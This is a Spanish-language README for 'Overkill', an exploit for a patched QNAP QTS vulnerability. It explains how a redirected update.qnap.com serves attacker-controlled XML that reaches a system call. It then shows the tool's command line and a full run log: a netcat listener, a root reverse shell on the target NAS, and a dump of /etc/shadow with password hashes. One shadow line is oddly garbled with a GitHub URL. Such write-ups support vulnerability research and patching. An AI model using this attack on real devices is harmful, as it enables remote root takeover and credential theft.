
QNAP N-Day (Probablemente no CVE-2020-2509)
Overkill es un exploit para una vulnerabilidad parcheada que afecta a QNAP QTS. Debido a la forma en que QNAP divulga las vulnerabilidades, no estoy seguro de si este problema tiene un CVE o no. Sin embargo, probablemente fue parcheado en noviembre de 2020 y abril de 2021. El n-day fue «descubierto» mientras se realizaba un análisis de diferencias para CVE-2020-2509. Casi con seguridad no es CVE-2020-2509.
El exploit enviará solicitudes HTTP GET a /cgi-bin/qnapmsg.cgi?lang=xxx, lo que hará que los dispositivos QNAP sin parchear descarguen un archivo XML desde update.qnap.com a través de HTTP no seguro. Un atacante que pueda redirigir update.qnap.com hacia sí mismo puede responder con un archivo XML controlado por el atacante. Cuando el QNAP analiza el archivo XML, pasará parte del contenido a una llamada system, lo que resulta en una reverse shell.
Este exploit no implementa el método para lograr que las solicitudes a update.qnap.com se dirijan al exploit. En el ejemplo siguiente, estaba usando secuestro de DNS del router en mi propio router... los resultados pueden variar.
albinolobster@ubuntu:~/overkill$ sudo python3 overkill.py --rhost 10.12.70.251 --lhost 10.12.70.252
01001001001000000110001101100001011011100100011101110100001000000110011101100101
______ ___ ___ _______ _______ __ ___ __ ___ ___
/ " \|" \ /" |/" "| /" \ |/"| / ") |" \ |" | |" |
// ____ \\ \ // /(: ______)|: |(: |/ / || | || | || |
/ / ) :)\\ \/. ./ \/ | |_____/ )| __/ |: | |: | |: |
(: (____/ // \. // // ___)_ // / (// _ \ |. | \ |___ \ |___
\ / \\ / (: "||: __ \ |: | \ \ /\ |\( \_|: \( \_|: \
\"_____/ \__/ \_______)|__| \___)(__| \__)(__\_|_)\_______)\_______)
01110100001000000111010001101111001000000111001101101100011001010110010101110000
🦞 jbaines-r7
[+] Forking a netcat listener
[+] Using /usr/bin/nc
Listening on 0.0.0.0 1270
[+] Spinning up HTTP server
[!] Attempting http://10.12.70.251:8080/cgi-bin/qnapmsg.cgi?lang=eng
[+] Received an HTTP request from 10.12.70.251 on 27/Jul/2022 11:58:23
[*] Requested /loginad//qnapmsg_eng.xml
10.12.70.251 - - [27/Jul/2022 11:58:23] "GET /loginad//qnapmsg_eng.xml HTTP/1.1" 200 -
Connection received on 10.12.70.251 44630
bash-3.2# uname -a
uname -a
Linux NAS4A32F3 4.2.8 #1 SMP Sun Nov 8 01:50:48 CST 2020 aarch64 GNU/Linux
bash-3.2# id
id
uid=0(admin) gid=0(administrators)
bash-3.2# cat /etc/shadow
cat /etc/shadow
admin:!$1$5pFeLUat$D8jTQogWJy0HF3XjkD13q/:19181:0:99999:7:::
guest:$1$$ysap7EeB9ODCrO46Psdbq/:14233:0:99999:7:::
httpdusr:!:19181:0:99999:7:::
albinolobster:$1$cZCC65z5$NXtIBB4hgqzVG.PHyShKh1:19195:0:99999:7:::
[sshd]:https://raw.githubusercontent.com/jbaines-r7/overkill/HEAD/!:19181:0:99999:7:::
bash-3.2# exit